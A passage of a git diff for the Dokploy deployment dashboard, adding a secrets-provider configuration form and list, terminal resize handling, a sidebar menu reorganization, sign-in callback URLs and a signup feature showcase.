!isValidUrl(data.awsEndpoint) + ) { + ctx.addIssue({ + code: z.ZodIssueCode.custom, + message: "Enter a valid URL", + path: ["awsEndpoint"], + }); + } + if ( + data.providerType === "scaleway" && + data.scalewayApiUrl && + !isValidUrl(data.scalewayApiUrl) + ) { + ctx.addIssue({ + code: z.ZodIssueCode.custom, + message: "Enter a valid URL (e.g. https://api.scaleway.com)", + path: ["scalewayApiUrl"], + }); + } + if ( + data.providerType === "infisical" && + data.siteUrl && + !isValidUrl(data.siteUrl) + ) { + ctx.addIssue({ + code: z.ZodIssueCode.custom, + message: "Enter a valid URL (e.g. https://app.infisical.com)", + path: ["siteUrl"], + }); + } + + const required: Partial< + Record + > = { + hashicorp: [ + ["url", "Vault URL is required"], + ["token", "Token is required"], + ["mount", "Mount is required"], + ], + infisical: [ + ["siteUrl", "Site URL is required"], + ["clientId", "Client ID is required"], + ["clientSecret", "Client Secret is required"], + ["projectId", "Project ID is required"], + ["environmentSlug", "Environment is required"], + ], + aws: [ + ["region", "Region is required"], + ["accessKeyId", "Access Key ID is required"], + ["secretAccessKey", "Secret Access Key is required"], + ], + doppler: [["serviceToken", "Service Token is required"]], + azure: [ + ["vaultUri", "Vault URI is required"], + ["tenantId", "Tenant ID is required"], + ["azureClientId", "Client ID is required"], + ["azureClientSecret", "Client Secret is required"], + ], + scaleway: [ + ["scalewayRegion", "Region is required"], + ["scalewayProjectId", "Project ID is required"], + ["scalewaySecretKey", "Secret Key is required"], + ], + }; + + for (const [field, message] of required[data.providerType] ?? []) { + if (!data[field]) { + ctx.addIssue({ + code: z.ZodIssueCode.custom, + message, + path: [field], + }); + } + } + + if ( + data.providerType === "doppler" && + data.serviceToken && + !data.serviceToken.startsWith("dp.st.") && + data.serviceToken !== "********" + ) { + for (const field of ["dopplerProject", "dopplerConfig"] as const) { + if (!data[field]) { + ctx.addIssue({ + code: z.ZodIssueCode.custom, + message: "Required for personal/CLI tokens (dp.pt. / dp.ct.)", + path: [field], + }); + } + } + } + }); + +type VaultProviderForm = z.infer; + +const defaultValues: VaultProviderForm = { + name: "", + providerType: "hashicorp", + url: "", + token: "", + namespace: "", + mount: "secret", + siteUrl: "https://app.infisical.com", + clientId: "", + clientSecret: "", + projectId: "", + environmentSlug: "", + secretPath: "/", + region: "", + accessKeyId: "", + secretAccessKey: "", + serviceToken: "", + awsEndpoint: "", + vaultUri: "", + tenantId: "", + azureClientId: "", + azureClientSecret: "", + dopplerProject: "", + dopplerConfig: "", + scalewayRegion: "fr-par", + scalewayProjectId: "", + scalewaySecretKey: "", + scalewayApiUrl: "https://api.scaleway.com", + assignments: [], +}; + +const buildConfig = (data: VaultProviderForm) => { + switch (data.providerType) { + case "hashicorp": + return { + providerType: "hashicorp" as const, + url: data.url, + token: data.token, + namespace: data.namespace || undefined, + mount: data.mount || "secret", + }; + case "infisical": + return { + providerType: "infisical" as const, + siteUrl: data.siteUrl || "https://app.infisical.com", + clientId: data.clientId, + clientSecret: data.clientSecret, + projectId: data.projectId, + environmentSlug: data.environmentSlug, + secretPath: data.secretPath || "/", + }; + case "aws": + return { + providerType: "aws" as const, + region: data.region, + accessKeyId: data.accessKeyId, + secretAccessKey: data.secretAccessKey, + endpoint: data.awsEndpoint || undefined, + }; + case "doppler": + return { + providerType: "doppler" as const, + serviceToken: data.serviceToken, + project: data.dopplerProject || undefined, + config: data.dopplerConfig || undefined, + }; + case "azure": + return { + providerType: "azure" as const, + vaultUri: data.vaultUri, + tenantId: data.tenantId, + clientId: data.azureClientId, + clientSecret: data.azureClientSecret, + }; + case "scaleway": + return { + providerType: "scaleway" as const, + region: data.scalewayRegion || "fr-par", + projectId: data.scalewayProjectId, + secretKey: data.scalewaySecretKey, + apiUrl: data.scalewayApiUrl || "https://api.scaleway.com", + }; + } +}; + +const extractErrorMessage = (err: unknown) => { + if (!(err instanceof Error)) return undefined; + try { + const issues = JSON.parse(err.message) as { message?: string }[]; + if (Array.isArray(issues)) { + return issues + .map((issue) => issue.message) + .filter(Boolean) + .join(", "); + } + } catch {} + return err.message; +}; + +interface Props { + vaultProviderId?: string; +} + +export const HandleVaultProvider = ({ vaultProviderId }: Props) => { + const utils = api.useUtils(); + const [isOpen, setIsOpen] = useState(false); + + const { data: provider } = api.vaultProvider.one.useQuery( + { vaultProviderId: vaultProviderId || "" }, + { enabled: !!vaultProviderId && isOpen }, + ); + + const { mutateAsync, isPending, error, isError } = vaultProviderId + ? api.vaultProvider.update.useMutation() + : api.vaultProvider.create.useMutation(); + + const { mutateAsync: testConnection, isPending: isTesting } = + api.vaultProvider.testConnection.useMutation(); + + const form = useForm({ + defaultValues, + resolver: zodResolver(VaultProviderSchema), + }); + + const providerType = form.watch("providerType"); + const assignments = form.watch("assignments"); + const { data: orgProjects } = api.project.all.useQuery(); + + const setAssignments = ( + next: { projectId: string; environmentIds: string[] }[], + ) => form.setValue("assignments", next, { shouldValidate: true }); + + const toggleProject = (targetProjectId: string) => { + const exists = assignments.some((a) => a.projectId === targetProjectId); + setAssignments( + exists + ? assignments.filter((a) => a.projectId !== targetProjectId) + : [...assignments, { projectId: targetProjectId, environmentIds: [] }], + ); + }; + + const toggleEnvironment = ( + targetProjectId: string, + environmentId: string, + ) => { + setAssignments( + assignments.map((a) => { + if (a.projectId !== targetProjectId) return a; + const has = a.environmentIds.includes(environmentId); + return { + ...a, + environmentIds: has + ? a.environmentIds.filter((e) => e !== environmentId) + : [...a.environmentIds, environmentId], + }; + }), + ); + }; + + useEffect(() => { + if (provider) { + form.reset({ + ...defaultValues, + name: provider.name, + providerType: provider.config.providerType, + assignments: provider.assignments ?? [], + ...(provider.config.providerType === "hashicorp" && { + url: provider.config.url, + token: provider.config.token, + namespace: provider.config.namespace ?? "", + mount: provider.config.mount, + }), + ...(provider.config.providerType === "infisical" && { + siteUrl: provider.config.siteUrl, + clientId: provider.config.clientId, + clientSecret: provider.config.clientSecret, + projectId: provider.config.projectId, + environmentSlug: provider.config.environmentSlug, + secretPath: provider.config.secretPath, + }), + ...(provider.config.providerType === "aws" && { + region: provider.config.region, + accessKeyId: provider.config.accessKeyId, + secretAccessKey: provider.config.secretAccessKey, + awsEndpoint: provider.config.endpoint ?? "", + }), + ...(provider.config.providerType === "doppler" && { + serviceToken: provider.config.serviceToken, + dopplerProject: provider.config.project ?? "", + dopplerConfig: provider.config.config ?? "", + }), + ...(provider.config.providerType === "azure" && { + vaultUri: provider.config.vaultUri, + tenantId: provider.config.tenantId, + azureClientId: provider.config.clientId, + azureClientSecret: provider.config.clientSecret, + }), + ...(provider.config.providerType === "scaleway" && { + scalewayRegion: provider.config.region, + scalewayProjectId: provider.config.projectId, + scalewaySecretKey: provider.config.secretKey, + scalewayApiUrl: provider.config.apiUrl, + }), + }); + } else if (!vaultProviderId) { + form.reset(defaultValues); + } + }, [provider, vaultProviderId, form, isOpen]); + + const onSubmit = async (data: VaultProviderForm) => { + const payload: any = { + name: data.name, + config: buildConfig(data), + assignments: data.assignments, + ...(vaultProviderId && { vaultProviderId }), + }; + await mutateAsync(payload) + .then(() => { + toast.success( + vaultProviderId ? "Vault provider updated" : "Vault provider created", + ); + utils.vaultProvider.all.invalidate(); + setIsOpen(false); + }) + .catch(() => {}); + }; + + const onTestConnection = async () => { + const isValid = await form.trigger(); + if (!isValid) { + return; + } + const data = form.getValues(); + await testConnection({ + config: buildConfig(data), + ...(vaultProviderId && { vaultProviderId }), + }) + .then(() => { + toast.success("Connection successful"); + }) + .catch((err) => { + toast.error("Connection failed", { + description: extractErrorMessage(err), + }); + }); + }; + + return ( + + + {vaultProviderId ? ( + + ) : ( + + )} + + + + + {vaultProviderId ? "Update Vault Provider" : "Add Vault Provider"} + + + Reference secrets in your environment variables with{" "} + {"${{vault..}}"}. Secrets are fetched at + deploy time and never stored in Dokploy. + + + {isError && {error?.message}} + + + ( + + Name + + + + + + )} + /> + ( + + Provider + + + + )} + /> + + {providerType === "hashicorp" && ( + <> + ( + + Vault URL + + + + + + )} + /> + ( + + Token + + + + + + )} + /> +
+ ( + + KV Mount + + + + + + )} + /> + ( + + Namespace (optional) + + + + + + )} + /> +
+ + Reference format:{" "} + {"${{vault..path/to/secret:FIELD}}"} + + + )} + + {providerType === "infisical" && ( + <> + ( + + Site URL + + + + + + )} + /> +
+ ( + + Client ID + + + + + + )} + /> + ( + + Client Secret + + + + + + )} + /> +
+
+ ( + + Project ID + + + + + + )} + /> + ( + + Environment + + + + + + )} + /> +
+ ( + + Secret Path + + + + + + )} + /> + + )} + + {providerType === "aws" && ( + <> + ( + + Region + + + + + + )} + /> + ( + + Access Key ID + + + + + + )} + /> + ( + + Secret Access Key + + + + + + )} + /> + ( + + Endpoint (optional) + + + + + Custom endpoint for VPC endpoints or API-compatible + emulators + + + + )} + /> + + Reference format:{" "} + {"${{vault..secret-name}}"} or{" "} + {"${{vault..secret-name:field}}"} for JSON + secrets + + + )} + + {providerType === "azure" && ( + <> + ( + + Vault URI + + + + + + )} + /> + ( + + Tenant ID + + + + + + )} + /> +
+ ( + + Client ID + + + + + + )} + /> + ( + + Client Secret + + + + + + )} + /> +
+ + App Registration with the "Key Vault Secrets User" role on the + vault. Reference format:{" "} + {"${{vault..secret-name}}"} + + + )} + + {providerType === "doppler" && ( + <> + ( + + Token + + + + + Service tokens (dp.st.) are recommended: read-only and + scoped to a single project + config + + + + )} + /> +
+ ( + + Project (optional) + + + + + + )} + /> + ( + + Config (optional) + + + + + + )} + /> +
+ + Only needed for personal (dp.pt.) or CLI (dp.ct.) tokens — + service tokens already carry them + + + )} + + {providerType === "scaleway" && ( + <> +
+ ( + + Region + + + + )} + /> + ( + + Project ID + + + + + + )} + /> +
+ ( + + Secret Key + + + + + The secret key of an API key with the{" "} + SecretManagerReadOnly permission set + + + + )} + /> + ( + + API URL + + + + + + )} + /> + + Reference format:{" "} + {"${{vault..secret-name}}"},{" "} + {"${{vault..folder/secret-name}}"} for + secrets in a path, or{" "} + {"${{vault..secret-name:field}}"} for JSON + secrets + + + )} + +
+ Access + + This provider can only be referenced from the selected projects. + Pick environments to narrow it further — none selected means all + environments of that project. + +
+ {orgProjects?.map((project) => { + const assignment = assignments.find( + (a) => a.projectId === project.projectId, + ); + return ( +
+ + {assignment && ( +
+ {project.environments?.map((environment) => ( + + ))} + {assignment.environmentIds.length === 0 && ( + + All environments + + )} +
+ )} +
+ ); + })} +
+ {form.formState.errors.assignments && ( +

+ {form.formState.errors.assignments.message} +

+ )} +
+ + + + + + + +
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/settings/vault/show-vault-providers.tsx b/apps/dokploy/components/dashboard/settings/vault/show-vault-providers.tsx new file mode 100644 index 000000000..f61327882 --- /dev/null +++ b/apps/dokploy/components/dashboard/settings/vault/show-vault-providers.tsx @@ -0,0 +1,167 @@ +import { Loader2, Trash2, Vault } from "lucide-react"; +import { toast } from "sonner"; +import { vaultProviderIcons } from "@/components/icons/vault-provider-icons"; +import { DialogAction } from "@/components/shared/dialog-action"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; +import { + Card, + CardContent, + CardDescription, + CardHeader, + CardTitle, +} from "@/components/ui/card"; +import { api } from "@/utils/api"; +import { HandleVaultProvider } from "./handle-vault-provider"; + +const providerLabels: Record = { + hashicorp: "HashiCorp Vault", + infisical: "Infisical", + aws: "AWS Secrets Manager", + doppler: "Doppler", + azure: "Azure Key Vault", + scaleway: "Scaleway Secret Manager", +}; + +export const ShowVaultProviders = () => { + const { mutateAsync, isPending: isRemoving } = + api.vaultProvider.remove.useMutation(); + const { data, isPending, refetch } = api.vaultProvider.all.useQuery(); + const { data: permissions } = api.user.getPermissions.useQuery(); + + return ( +
+ +
+ + + + Secrets Providers + + + Connect external secret managers and reference their secrets in + environment variables with{" "} + {"${{vault..}}"} + + + + {isPending ? ( +
+ Loading... + +
+ ) : ( + <> + {data?.length === 0 ? ( +
+ + + You don't have any secrets providers configured + + {permissions?.vaultProvider.create && ( + + )} +
+ ) : ( +
+
+ {data?.map((provider) => { + const ProviderIcon = + vaultProviderIcons[provider.providerType]; + return ( +
+
+
+ +
+ + {provider.name} + +
+ {provider.assignments.length === 0 ? ( + + Not assigned + + ) : ( + + {provider.assignments.length}{" "} + {provider.assignments.length === 1 + ? "project" + : "projects"} + + )} + + {providerLabels[provider.providerType] ?? + provider.providerType} + + + {"${{vault." + provider.name + ".…}}"} + +
+
+
+ +
+ {permissions?.vaultProvider.update && ( + + )} + {permissions?.vaultProvider.delete && ( + { + await mutateAsync({ + vaultProviderId: + provider.vaultProviderId, + }) + .then(() => { + toast.success( + "Secrets provider deleted", + ); + refetch(); + }) + .catch(() => { + toast.error( + "Error deleting the secrets provider", + ); + }); + }} + > + + + )} +
+
+
+ ); + })} +
+ + {permissions?.vaultProvider.create && ( +
+ +
+ )} +
+ )} + + )} +
+
+
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/settings/web-server/terminal.tsx b/apps/dokploy/components/dashboard/settings/web-server/terminal.tsx index dccdec003..afb1d4451 100644 --- a/apps/dokploy/components/dashboard/settings/web-server/terminal.tsx +++ b/apps/dokploy/components/dashboard/settings/web-server/terminal.tsx @@ -6,6 +6,7 @@ import "@xterm/xterm/css/xterm.css"; import { AttachAddon } from "@xterm/addon-attach"; import { ClipboardAddon } from "@xterm/addon-clipboard"; import { useTheme } from "next-themes"; +import { fixMacOsAltKeys } from "@/lib/terminal-keyboard"; import { getLocalServerData } from "./local-server-config"; interface Props { @@ -40,11 +41,22 @@ export const Terminal: React.FC = ({ id, serverId }) => { }); const addonFit = new FitAddon(); + const clipboardAddon = new ClipboardAddon(); + term.loadAddon(clipboardAddon); + fixMacOsAltKeys(term); + + // @ts-ignore + term.open(termRef.current); + // @ts-ignore + term.loadAddon(addonFit); + addonFit.fit(); const protocol = window.location.protocol === "https:" ? "wss:" : "ws:"; const urlParams = new URLSearchParams(); urlParams.set("serverId", serverId); + urlParams.set("cols", term.cols.toString()); + urlParams.set("rows", term.rows.toString()); if (serverId === "local") { const { port, username } = getLocalServerData(); @@ -56,16 +68,22 @@ export const Terminal: React.FC = ({ id, serverId }) => { const ws = new WebSocket(wsUrl); const addonAttach = new AttachAddon(ws); - const clipboardAddon = new ClipboardAddon(); - term.loadAddon(clipboardAddon); - - // @ts-ignore - term.open(termRef.current); - // @ts-ignore - term.loadAddon(addonFit); term.loadAddon(addonAttach); - addonFit.fit(); + + const sendResize = (cols: number, rows: number) => { + if (ws.readyState === WebSocket.OPEN) { + ws.send(JSON.stringify({ type: "resize", cols, rows })); + } + }; + term.onResize(({ cols, rows }) => sendResize(cols, rows)); + + const resizeObserver = new ResizeObserver(() => addonFit.fit()); + if (termRef.current) { + resizeObserver.observe(termRef.current); + } + return () => { + resizeObserver.disconnect(); ws.readyState === WebSocket.OPEN && ws.close(); }; }, [id, serverId]); diff --git a/apps/dokploy/components/dashboard/swarm/containers/empty-states.tsx b/apps/dokploy/components/dashboard/swarm/containers/empty-states.tsx index 306b2f808..2e67954fe 100644 --- a/apps/dokploy/components/dashboard/swarm/containers/empty-states.tsx +++ b/apps/dokploy/components/dashboard/swarm/containers/empty-states.tsx @@ -35,7 +35,7 @@ export const DocLinks = () => ( Cluster Settings @@ -85,7 +85,7 @@ export const SwarmNotAvailable = ({
  • Check the{" "} Cluster Settings @@ -130,7 +130,7 @@ export const ServicesError = ({
  • Network connectivity issues to a remote server — check{" "} Cluster Settings @@ -183,7 +183,7 @@ export const NoServices = ({ nodeCount, onRefresh }: NoServicesProps) => ( Worker nodes need to pull images from a shared registry. Configure one in{" "} Cluster Settings @@ -255,7 +255,7 @@ export const NoRunningContainers = ({
  • Images can't be pulled on worker nodes — verify your{" "} registry configuration diff --git a/apps/dokploy/components/dashboard/swarm/containers/show-swarm-containers.tsx b/apps/dokploy/components/dashboard/swarm/containers/show-swarm-containers.tsx index 4c4c5e2be..303609487 100644 --- a/apps/dokploy/components/dashboard/swarm/containers/show-swarm-containers.tsx +++ b/apps/dokploy/components/dashboard/swarm/containers/show-swarm-containers.tsx @@ -303,7 +303,7 @@ export const ShowSwarmContainers = ({ serverId }: Props) => {

    Manage nodes in{" "} Cluster Settings diff --git a/apps/dokploy/components/dashboard/swarm/monitoring-card.tsx b/apps/dokploy/components/dashboard/swarm/monitoring-card.tsx index 9c6d196ad..2ad6b68a1 100644 --- a/apps/dokploy/components/dashboard/swarm/monitoring-card.tsx +++ b/apps/dokploy/components/dashboard/swarm/monitoring-card.tsx @@ -27,50 +27,16 @@ export default function SwarmMonitorCard({ serverId }: Props) { serverId, }); - if (isPending) { - return ( -

    -
    - {/*
    */} - -
    - Loading... - -
    - {/*
    */} -
    -
    - ); - } - - if (!nodes) { - return ( -
    -
    -
    - Failed to load data -
    -
    -
    - ); - } - - const totalNodes = nodes.length; - const activeNodesCount = nodes.filter( - (node) => node.Status === "Ready", - ).length; - const managerNodesCount = nodes.filter( - (node) => - node.ManagerStatus === "Leader" || node.ManagerStatus === "Reachable", - ).length; - const activeNodes = nodes.filter((node) => node.Status === "Ready"); - const managerNodes = nodes.filter( - (node) => - node.ManagerStatus === "Leader" || node.ManagerStatus === "Reachable", - ); + const totalNodes = nodes?.length ?? 0; + const activeNodes = nodes?.filter((node) => node.Status === "Ready") ?? []; + const managerNodes = + nodes?.filter( + (node) => + node.ManagerStatus === "Leader" || node.ManagerStatus === "Reachable", + ) ?? []; return ( - +
    @@ -85,7 +51,9 @@ export default function SwarmMonitorCard({ serverId }: Props) { {!serverId && (
    -
    - - - Total Nodes -
    - -
    -
    - -
    {totalNodes}
    -
    -
    + {isPending ? ( +
    + Loading... + +
    + ) : !nodes ? ( +
    + Failed to load data +
    + ) : ( + <> +
    + + + + Total Nodes + +
    + +
    +
    + +
    {totalNodes}
    +
    +
    - - -
    - - Active Nodes - - Online -
    -
    - -
    -
    - - - - -
    - {activeNodesCount} / {totalNodes} -
    -
    - -
    - {activeNodes.map((node) => ( -
    - {node.Hostname} + + +
    + + Active Nodes + + Online +
    +
    + +
    +
    + + + + +
    + {activeNodes.length} / {totalNodes}
    - ))} -
    - - - - - - - - -
    - - Manager Nodes - - Online -
    -
    - -
    -
    - - - - -
    - {managerNodesCount} / {totalNodes} -
    -
    - -
    - {managerNodes.map((node) => ( -
    - {node.Hostname} + + +
    + {activeNodes.map((node) => ( +
    + {node.Hostname} +
    + ))}
    - ))} -
    - - - - - -
    +
    +
    +
    +
    +
    -
    - {nodes.map((node) => ( - - ))} -
    + + +
    + + Manager Nodes + + Online +
    +
    + +
    +
    + + + + +
    + {managerNodes.length} / {totalNodes} +
    +
    + +
    + {managerNodes.map((node) => ( +
    + {node.Hostname} +
    + ))} +
    +
    +
    +
    +
    +
    +
    + +
    + {nodes.map((node) => ( + + ))} +
    + + )}
    ); diff --git a/apps/dokploy/components/icons/data-tools-icons.tsx b/apps/dokploy/components/icons/data-tools-icons.tsx index b828052a0..dc5dc5ee0 100644 --- a/apps/dokploy/components/icons/data-tools-icons.tsx +++ b/apps/dokploy/components/icons/data-tools-icons.tsx @@ -76,7 +76,7 @@ export const MariadbIcon = ({ className }: Props) => { > ); @@ -211,6 +211,15 @@ export const LibsqlIcon = ({ className }: Props) => { ); }; +export const DB_ENGINE_ICONS = { + postgres: PostgresqlIcon, + mariadb: MariadbIcon, + mysql: MysqlIcon, + mongo: MongodbIcon, + redis: RedisIcon, + libsql: LibsqlIcon, +} as const; + export const GitlabIcon = ({ className }: Props) => { return ( ( + + + +); + +export const Route53Icon = ({ className }: Props) => ( + + + + + +); + +export const dnsProviderIcons = { + cloudflare: CloudflareIcon, + route53: Route53Icon, +} as const; diff --git a/apps/dokploy/components/icons/vault-provider-icons.tsx b/apps/dokploy/components/icons/vault-provider-icons.tsx new file mode 100644 index 000000000..8a4685299 --- /dev/null +++ b/apps/dokploy/components/icons/vault-provider-icons.tsx @@ -0,0 +1,592 @@ +interface Props { + className?: string; +} + +export const HashicorpVaultIcon = ({ className }: Props) => ( + + + +); + +export const InfisicalIcon = ({ className }: Props) => ( + + + +); + +export const AwsIcon = ({ className }: Props) => ( + + + + + +); + +export const DopplerIcon = ({ className }: Props) => ( + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +); + +export const AzureIcon = ({ className }: Props) => ( + + + + + + + + + + + + + + + + + + + + + + + +); + +export const ScalewayIcon = ({ className }: Props) => ( + + + +); + +export const vaultProviderIcons = { + hashicorp: HashicorpVaultIcon, + infisical: InfisicalIcon, + aws: AwsIcon, + doppler: DopplerIcon, + azure: AzureIcon, + scaleway: ScalewayIcon, +} as const; diff --git a/apps/dokploy/components/layouts/onboarding-layout.tsx b/apps/dokploy/components/layouts/onboarding-layout.tsx index 297a9d8a7..ed46c1930 100644 --- a/apps/dokploy/components/layouts/onboarding-layout.tsx +++ b/apps/dokploy/components/layouts/onboarding-layout.tsx @@ -8,8 +8,10 @@ import { Button } from "../ui/button"; interface Props { children: React.ReactNode; + /** Overrides the default quote in the left panel (desktop only). */ + leftPanel?: React.ReactNode; } -export const OnboardingLayout = ({ children }: Props) => { +export const OnboardingLayout = ({ children, leftPanel }: Props) => { const { config: whitelabeling } = useWhitelabelingPublic(); const appName = whitelabeling?.appName || "Dokploy"; const appDescription = @@ -30,9 +32,11 @@ export const OnboardingLayout = ({ children }: Props) => { {appName}
    -
    -

    {appDescription}

    -
    + {leftPanel ?? ( +
    +

    {appDescription}

    +
    + )}
    diff --git a/apps/dokploy/components/layouts/side.tsx b/apps/dokploy/components/layouts/side.tsx index e58256c63..66504d7e2 100644 --- a/apps/dokploy/components/layouts/side.tsx +++ b/apps/dokploy/components/layouts/side.tsx @@ -14,29 +14,30 @@ import { ClipboardList, Clock, CreditCard, - Database, Folder, Forward, GalleryVerticalEnd, GitBranch, + Globe, + HardDrive, House, Key, KeyRound, + LayoutGrid, Loader2, LogIn, type LucideIcon, - Network, Package, Palette, - PieChart, - Rocket, Server, ShieldCheck, + Smartphone, Star, Tags, Trash2, User, Users, + Vault, } from "lucide-react"; import Link from "next/link"; import { usePathname } from "next/navigation"; @@ -54,14 +55,26 @@ import { CollapsibleContent, CollapsibleTrigger, } from "@/components/ui/collapsible"; +import { + Command, + CommandEmpty, + CommandGroup, + CommandInput, + CommandItem, + CommandList, +} from "@/components/ui/command"; import { DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuLabel, - DropdownMenuSeparator, DropdownMenuTrigger, } from "@/components/ui/dropdown-menu"; +import { + Popover, + PopoverContent, + PopoverTrigger, +} from "@/components/ui/popover"; import { Separator } from "@/components/ui/separator"; import { SIDEBAR_COOKIE_NAME, @@ -165,10 +178,11 @@ const MENU: Menu = { }, { isSingle: true, - title: "Deployments", - url: "/dashboard/deployments", - icon: Rocket, - isEnabled: ({ permissions }) => !!permissions?.deployment.read, + title: "Overview", + url: "/dashboard/overview", + icon: LayoutGrid, + // Only enabled for users with access to services + isEnabled: ({ permissions }) => !!permissions?.service.read, }, { isSingle: true, @@ -202,28 +216,6 @@ const MENU: Menu = { // Only enabled for users with access to Docker isEnabled: ({ permissions }) => !!permissions?.docker.read, }, - { - isSingle: true, - title: "Swarm", - url: "/dashboard/swarm", - icon: PieChart, - // Only enabled for users with access to Docker - isEnabled: ({ permissions }) => !!permissions?.docker.read, - }, - { - isSingle: true, - title: "Networks", - url: "/dashboard/networks", - icon: Network, - // Only enabled for admins and users with access to Docker in non-cloud environments - isEnabled: ({ auth, isCloud }) => - !!( - (auth?.role === "owner" || - auth?.role === "admin" || - auth?.canAccessToDocker) && - !isCloud - ), - }, { isSingle: true, title: "Requests", @@ -307,6 +299,12 @@ const MENU: Menu = { url: "/dashboard/settings/profile", icon: User, }, + { + isSingle: true, + title: "Sessions", + icon: Smartphone, + url: "/dashboard/settings/sessions", + }, { isSingle: true, title: "Remote Servers", @@ -374,11 +372,25 @@ const MENU: Menu = { icon: Package, isEnabled: ({ permissions }) => !!permissions?.registry.read, }, + { + isSingle: true, + title: "Secrets", + url: "/dashboard/settings/secrets", + icon: Vault, + isEnabled: ({ permissions }) => !!permissions?.vaultProvider.create, + }, + { + isSingle: true, + title: "DNS Providers", + url: "/dashboard/settings/dns", + icon: Globe, + isEnabled: ({ permissions }) => !!permissions?.dnsProvider.read, + }, { isSingle: true, title: "S3 Destinations", url: "/dashboard/settings/destinations", - icon: Database, + icon: HardDrive, isEnabled: ({ permissions }) => !!permissions?.destination.read, }, @@ -389,14 +401,6 @@ const MENU: Menu = { icon: ShieldCheck, isEnabled: ({ permissions }) => !!permissions?.certificate.read, }, - { - isSingle: true, - title: "Cluster", - url: "/dashboard/settings/cluster", - icon: Boxes, - // Only enabled for admins - isEnabled: ({ permissions }) => !!permissions?.organization.update, - }, { isSingle: true, title: "Notifications", @@ -589,6 +593,8 @@ function SidebarLogo() { const [_activeTeam, setActiveTeam] = useState< typeof activeOrganization | null >(null); + const [organizationSelectorOpen, setOrganizationSelectorOpen] = + useState(false); useEffect(() => { if (activeOrganization) { @@ -611,8 +617,11 @@ function SidebarLogo() { > {/* Organization Logo and Selector */} - - + + - - + - - Organizations - -
    - {organizations?.map((org) => { - const isDefault = org.members?.[0]?.isDefault ?? false; - return ( -
    - { - await authClient.organization.setActive({ - organizationId: org.id, - }); - window.location.reload(); - }} - className="flex min-w-0 flex-1 gap-2 p-2" - > -
    - -
    - {org.name} -
    - -
    - - {org.ownerId === session?.user?.id && ( - <> - - { - await deleteOrganization({ +
    +
    + +
    + {org.name} +
    + +
    e.stopPropagation()} + onKeyDown={(e) => e.stopPropagation()} + > + - - - )} -
    -
    - ); - })} -
    - {(user?.role === "owner" || - user?.role === "admin" || - isCloud) && ( - <> - - - - )} - - + {isDefault ? ( + + ) : ( + + )} + + {org.ownerId === session?.user?.id && ( + <> + + { + await deleteOrganization({ + organizationId: org.id, + }) + .then(() => { + refetch(); + toast.success( + "Organization deleted successfully", + ); + }) + .catch((error) => { + toast.error( + error?.message || + "Error deleting organization", + ); + }); + }} + > + + + + )} +
    + + ); + })} + + + {(user?.role === "owner" || + user?.role === "admin" || + isCloud) && ( +
    + +
    + )} + +
    +
    {/* Notification Bell */} diff --git a/apps/dokploy/components/proprietary/auth/sign-in-with-github.tsx b/apps/dokploy/components/proprietary/auth/sign-in-with-github.tsx index 347507383..411e3c7a2 100644 --- a/apps/dokploy/components/proprietary/auth/sign-in-with-github.tsx +++ b/apps/dokploy/components/proprietary/auth/sign-in-with-github.tsx @@ -13,6 +13,9 @@ export function SignInWithGithub() { try { const { error } = await authClient.signIn.social({ provider: "github", + callbackURL: "/dashboard/home", + newUserCallbackURL: "/dashboard/home?signup=github", + errorCallbackURL: "/", }); if (error) { toast.error(error.message); diff --git a/apps/dokploy/components/proprietary/auth/sign-in-with-google.tsx b/apps/dokploy/components/proprietary/auth/sign-in-with-google.tsx index e40d8d9b5..4ed015bd4 100644 --- a/apps/dokploy/components/proprietary/auth/sign-in-with-google.tsx +++ b/apps/dokploy/components/proprietary/auth/sign-in-with-google.tsx @@ -13,6 +13,9 @@ export function SignInWithGoogle() { try { const { error } = await authClient.signIn.social({ provider: "google", + callbackURL: "/dashboard/home", + newUserCallbackURL: "/dashboard/home?signup=google", + errorCallbackURL: "/", }); if (error) { toast.error(error.message); diff --git a/apps/dokploy/components/proprietary/auth/signup-showcase.tsx b/apps/dokploy/components/proprietary/auth/signup-showcase.tsx new file mode 100644 index 000000000..e67edf608 --- /dev/null +++ b/apps/dokploy/components/proprietary/auth/signup-showcase.tsx @@ -0,0 +1,204 @@ +"use client"; + +import { + Activity, + ArrowRight, + Bot, + Boxes, + Cloud, + Database, + Layers, + LayoutTemplate, + Rocket, + Shield, + Terminal, + Unlock, + Users, +} from "lucide-react"; +import { useEffect, useRef, useState } from "react"; +import { cn } from "@/lib/utils"; + +interface ShowcaseItem { + icon: typeof Users; + title: string; + description: string; +} + +const SLIDES: ShowcaseItem[][] = [ + [ + { + icon: Users, + title: "Team access", + description: + "Anyone in your team can deploy simply and securely in a safe, governed environment.", + }, + { + icon: Layers, + title: "Open source", + description: + "Deploy for free with the open-source alternative to Netlify, Vercel, and Heroku.", + }, + { + icon: Bot, + title: "AI sandbox", + description: + "Unleash the power of AI and test AI-generated code in a sandbox before deploying to a live URL.", + }, + { + icon: Shield, + title: "Enterprise ready", + description: + "Scale when you're ready with granular RBAC, SSO, audit logs, rollback and multi-tenancy.", + }, + ], + [ + { + icon: Rocket, + title: "Any stack", + description: + "Deploy any application using Nixpacks, Heroku Buildpacks, or your own Dockerfile.", + }, + { + icon: Boxes, + title: "Docker Compose", + description: + "Deploy complex applications natively with full Docker Compose integration.", + }, + { + icon: Cloud, + title: "Multi-server", + description: + "Effortlessly deploy your applications on remote servers, with zero configuration hassle.", + }, + { + icon: LayoutTemplate, + title: "Ready templates", + description: + "Get started quickly with pre-configured templates for Supabase, Cal.com, PocketBase, and more.", + }, + ], + [ + { + icon: Database, + title: "Managed databases", + description: + "Manage and back up MySQL, PostgreSQL, MongoDB, MariaDB, and Redis directly from Dokploy.", + }, + { + icon: Terminal, + title: "API & CLI", + description: "Full API and CLI access to fit any custom workflow.", + }, + { + icon: Activity, + title: "Live monitoring", + description: + "Monitor CPU, memory, and network usage in real time across every deployment.", + }, + { + icon: Unlock, + title: "No lock-in", + description: + "Modify, scale, and customize Dokploy however your project needs.", + }, + ], +]; + +const AUTO_ADVANCE_MS = 6000; + +export const SignupShowcase = () => { + const [active, setActive] = useState(0); + const [paused, setPaused] = useState(false); + const [reduceMotion, 